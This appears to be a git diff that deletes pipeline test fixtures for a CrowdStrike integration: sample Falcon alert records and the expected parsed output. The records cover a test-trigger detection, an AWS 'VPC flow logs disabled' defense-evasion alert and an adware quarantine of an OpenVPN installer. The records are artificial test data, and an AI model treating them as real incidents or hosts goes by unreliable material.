-{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"} -{"attack_types":["Defense Evasion"],"aws_access_key_id":"ASIA****************","aws_recipient_account_id":"XXXXXXXXXXXX","aws_user_account_id":"XXXXXXXXXXXX","cid":"bdc3e3474d8848f1**************","cloud_account_id":"XXXXXXXXXXXX","cloud_provider":"aws","cloud_region":"us-east-2","composite_id":"bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94","crawled_timestamp":"2026-01-27T20:34:47.330975395Z","created_timestamp":"2026-01-27T20:34:47.330964263Z","data_domains":["Cloud"],"device":{"service_provider":"aws","service_provider_account_id":"XXXXXXXXXXXX"},"display_name":"VPC flow logs disabled","event_category":"Management","event_count":1,"event_id":"09a917ca-d430-4cd2-ae55-ceaec7e7dc94","event_name":"DeleteFlowLogs","event_source":"ec2.amazonaws.com","event_type":"AwsApiCall","falcon_host_link":"https://falcon.us-2.crowdstrike.com/unified-detections/","fcs_vertex_id":"206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94:ioa","first_timestamp":"2026-01-27T20:25:22.94Z","id":"fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94","last_timestamp":"2026-01-27T20:25:22.94Z","mfa_authenticated":"true","mitre_attack":[{"pattern_id":2036,"tactic_id":"TA0005","technique_id":"T1562.008","tactic":"Defense Evasion","technique":"Impair Defenses:Disable Cloud Logs"}],"name":"VPC flow logs disabled","origin_cid":"bdc3e3474d8848f1**************","pattern_id":2036,"policy_id":"206","policy_statement":"VPC flow logs disabled","poly_id":"","product":"fcs","request_parameters":"{\"DeleteFlowLogsRequest\":{\"FlowLogId\":{\"content\":\"fl-***************\",\"tag\":1}}}","resource_gcrn":"bdc3e3474d8848f1**************|aws|XXXXXXXXXXXX|us-east-2|AWS::EC2::FlowLog|fl-***************","resource_uuid":"","response_elements":"{\"DeleteFlowLogsResponse\":{\"requestId\":\"\",\"unsuccessful\":\"\",\"xmlns\":\"http://ec2.amazonaws.com/doc/2016-11-15/\"}}","seconds_to_resolved":0,"seconds_to_triaged":0,"service":"VPC","severity":40,"severity_name":"Medium","show_in_ui":true,"source_account_name":"elastic-siem","source_ip_address":"34.194.234.218","source_products":["Falcon Cloud Security"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Defense Evasion","tactic_id":"TA0005","technique":"Impair Defenses:Disable Cloud Logs","technique_id":"T1562.008","timestamp":"2026-01-27T20:34:37Z","type":"cloud-ioa","updated_timestamp":"2026-01-27T20:34:47.330964263Z","user_agent":"","user_display_name":"user@example.com","user_name":"user@example.com","user_principal_id":"AIDA*************"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json deleted file mode 100644 index f5b6831dd2..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json +++ /dev/null @@ -1,2133 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-11-03T18:00:22.328Z", - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "overwatch_note": "Activity Notice: OverWatch has observed XYZ", - "overwatch_note_timestamp": "2025-03-01T15:31:00.000Z", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "rule_group_id": "1b27b7f123c44e15a13fe7f44801d123", - "rule_group_name": "Windows Group", - "rule_instance_created_by": "myuser@mydomain.com", - "rule_instance_id": "123", - "rule_instance_name": "INSTANCE-1", - "rule_instance_version": "1", - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "kind": "alert", - "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"overwatch_note\":\"Activity Notice: OverWatch has observed 